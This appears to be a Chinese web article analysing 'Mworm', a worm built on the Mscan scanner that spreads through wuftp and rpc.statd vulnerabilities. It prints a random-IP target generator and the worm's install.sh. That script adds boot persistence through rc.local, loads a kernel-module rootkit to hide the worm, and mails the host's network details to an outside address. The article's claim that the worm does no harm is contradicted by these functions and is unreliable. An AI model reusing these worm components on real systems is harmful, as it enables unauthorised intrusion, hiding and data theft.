当前位置:首页 >

基于Mscan的蠕虫结构分析


  Mworm是一个基于Mscan扫描器的蠕虫程序,主要是利用wuftp和rpc.statd漏洞进行传播,同时也对Windows系统存在Unicode漏洞的机器进行标识,将c:\winnt\system32\cmd.exe复制到c:\Mworm.exe。本蠕虫程序没有任何危害性。
  
  本蠕虫的扫描是基于Mscan进行的,主要是扫描80,21和111端口。一共包含如下程序和脚本:
  
  Mworm: 蠕虫主程序,负责扫描和传播。
  
  Mhttpd:一个Http Server,负责远程从服务端下载蠕虫压缩包。
  
  3c95: 一个LKM,负责隐藏含有Mscan,Mworm和Mhttpd的文件和进程。
  
  localsetup.sh: 将蠕虫在本地安装时候运行的脚本。
  
  install.sh: 编译和运行蠕虫程序,用于远程。
  
  start: 该文件中包含需要写入在/etc/rc.d/rc.local文件的内容。
  
  Mworm.tgz中包含了所有的源程序文件,而不象一些蠕虫程序里面除了脚本其他都没有源程序(:P。
  
  Mworm的程序流程图如下所示:
  
  几个小部分程序:
  
  产生随机IP地址,以供Mscan扫描。
  char * create_randomIP() //create a ip address, the last bit is 1
  {
  int a=0,b=0,c=0;
  char * returnv=(char*)malloc(sizeof(char)*24);
  
  srand(time(NULL));
  start:;
  a=1+(int) (223.0*rand()/(RAND_MAX+1.0));
  b=1+(int) (255.0*rand()/(RAND_MAX+1.0));
  c=1+(int) (223.0*rand()/(RAND_MAX+1.0));
  
  if (a == 127) { goto start; }
  if (a == 0) { goto start; }
  if (a == 1) { goto start; }
  if (a == 2) { goto start; }
  if (a == 3) { goto start; }
  if (a == 4) { goto start; }
  if (a == 5) { goto start; }
  if (a == 6) { goto start; }
  if (a == 7) { goto start; }
  if (a == 8) { goto start; }
  if (a == 9) { goto start; }
  if (a == 10) { goto start; }
  if (a == 49) { goto start; }
  if (a == 192) { if (b == 168) { goto start; } }
  sprintf(returnv,"%i.%i.%i.1", a, b,c);
  return returnv;
  }
  
  
  install.sh,编译和运行Mworm
  #!/bin/sh
  
  cat startup >> /etc/rc.d/rc.local
  gcc -O3 -DMODULE -D__KERNEL__ -c 3c95.c
  /sbin/insmod 3c95.o
  killall -9 Mhttpd
  killall -9 Mworm
  ./Mhttpd
  ./Mworm &
  /sbin/ifconfig -a | mail -s Msanworm mscanworm@yahoo.com.cn
  
  
   
  
  
  
  
最热门文章推荐:
cs不支持opengl
opengl红宝书
语言栏
sql语言
脚本语言
c语言编辑器
网站建设流程
网站建设策划书
 ↓相关文章:
© 2006-2008 All Rights Reserved